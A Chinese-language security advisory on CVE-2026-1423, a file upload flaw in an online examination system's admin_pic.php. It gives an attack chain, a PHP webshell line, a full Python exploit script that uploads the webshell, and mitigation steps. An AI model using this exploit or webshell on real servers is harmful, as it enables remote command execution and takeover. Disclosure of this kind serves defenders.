IPBUF安全漏洞报告
English
CVE-2026-1423 CVSS 6.3 中危

CVE-2026-1423 code-projects Online Examination System 1.0 无限制文件上传漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-1423
漏洞类型
无限制文件上传/远程代码执行
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Examination System 1.0

相关标签

CVE-2026-1423无限制文件上传远程代码执行webshellcode-projectsOnline Examination Systemadmin_pic.phpPHP中危漏洞身份验证绕过

漏洞概述

CVE-2026-1423是存在于code-projects在线考试系统1.0版本中的一个高危安全漏洞。该漏洞位于管理后台的文件上传功能点admin_pic.php,由于系统未对用户上传的文件进行严格的类型验证、内容检查和权限限制,攻击者可以上传任意类型的文件到服务器。攻击者利用此漏洞可以上传包含恶意代码的文件(如PHP webshell),从而在服务器上执行任意系统命令,实现远程代码执行。漏洞的CVSS评分为6.3,属于中危级别,可被远程利用。虽然利用该漏洞需要低权限认证,但无需用户交互,这大大降低了攻击门槛。该漏洞已被公开披露并可能被恶意利用,对使用该系统的组织机构构成严重安全威胁。建议受影响用户尽快采取防御措施或升级到安全版本。

技术细节

该漏洞源于admin_pic.php文件在处理文件上传请求时缺乏充分的安全验证机制。具体问题包括:1) 未验证上传文件的真实MIME类型,仅依赖客户端提供的Content-Type头;2) 未检查文件扩展名是否在允许的白名单范围内;3) 未对上传文件内容进行安全扫描以识别恶意代码;4) 上传的文件被存储在Web可访问目录下,且未重命名文件;5) 服务器未配置禁止上传目录中的脚本文件执行。攻击者可以通过构造包含恶意PHP代码的HTTP POST请求,将webshell伪装成图片文件上传到服务器。上传成功后,攻击者通过浏览器访问该文件路径即可触发恶意代码执行,进而完全控制服务器。由于该系统为开源项目,攻击者可以轻易获取源码并分析漏洞细节,这进一步加剧了漏洞的利用风险。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用code-projects Online Examination System 1.0,并定位到存在漏洞的文件/admin_pic.php
STEP 2
步骤2
获取访问权限:攻击者注册新账户或使用已有低权限账户登录系统,获取有效的会话Cookie
STEP 3
步骤3
构造恶意文件:攻击者创建包含PHP代码的webshell文件(如<?php system($_GET['cmd']); ?>),并将其Content-Type伪装为image/jpeg
STEP 4
步骤4
上传webshell:通过HTTP POST请求将恶意文件上传到/admin_pic.php端点,利用文件类型验证缺陷绕过安全检查
STEP 5
步骤5
访问webshell:上传成功后,攻击者通过浏览器或工具访问上传的webshell文件路径,并携带cmd参数执行任意系统命令
STEP 6
步骤6
持久化控制:攻击者利用获得的服务器权限进行横向移动、数据窃取或部署后门程序

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-1423 PoC - Unrestricted File Upload in code-projects Online Examination System 1.0 # Target: /admin_pic.php def exploit(target_url, username, password, webshell_path='shell.php'): """ Exploit for CVE-2026-1423: Unrestricted File Upload in admin_pic.php Args: target_url: Base URL of the vulnerable application username: Valid low-privilege account username password: Valid account password webshell_path: Path to save the uploaded webshell """ # Login to obtain session login_url = f"{target_url}/login.php" session = requests.Session() login_data = { 'email': username, 'password': password } print(f"[*] Attempting login to {login_url}") response = session.post(login_url, data=login_data) if 'admin' not in response.text.lower() and response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Prepare malicious PHP webshell webshell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>?>" # Upload the webshell via admin_pic.php upload_url = f"{target_url}/admin_pic.php" files = { 'file': (webshell_path, webshell_content, 'image/jpeg') } print(f"[*] Uploading webshell to {upload_url}") response = session.post(upload_url, files=files) # Check if upload was successful if 'upload' in response.text.lower() or response.status_code == 200: print(f"[+] Webshell uploaded successfully!") print(f"[*] Access webshell at: {target_url}/uploads/{webshell_path}") print(f"[*] Example command: {target_url}/uploads/{webshell_path}?cmd=whoami") return True else: print("[-] Upload failed") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin admin123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit(target, user, passwd)

影响范围

code-projects Online Examination System 1.0

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1) 在Web服务器配置中禁用/admin_pic.php端点的文件上传功能;2) 通过.htaccess或nginx配置规则禁止uploads目录下的PHP等脚本文件执行;3) 临时关闭管理员图片上传功能,切换到使用静态图片资源;4) 加强访问控制,确保只有受信任的管理员才能访问管理后台;5) 部署WAF(Web应用防火墙)规则检测和阻止异常的文件上传请求;6) 监控服务器文件系统变化,及时发现恶意文件上传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表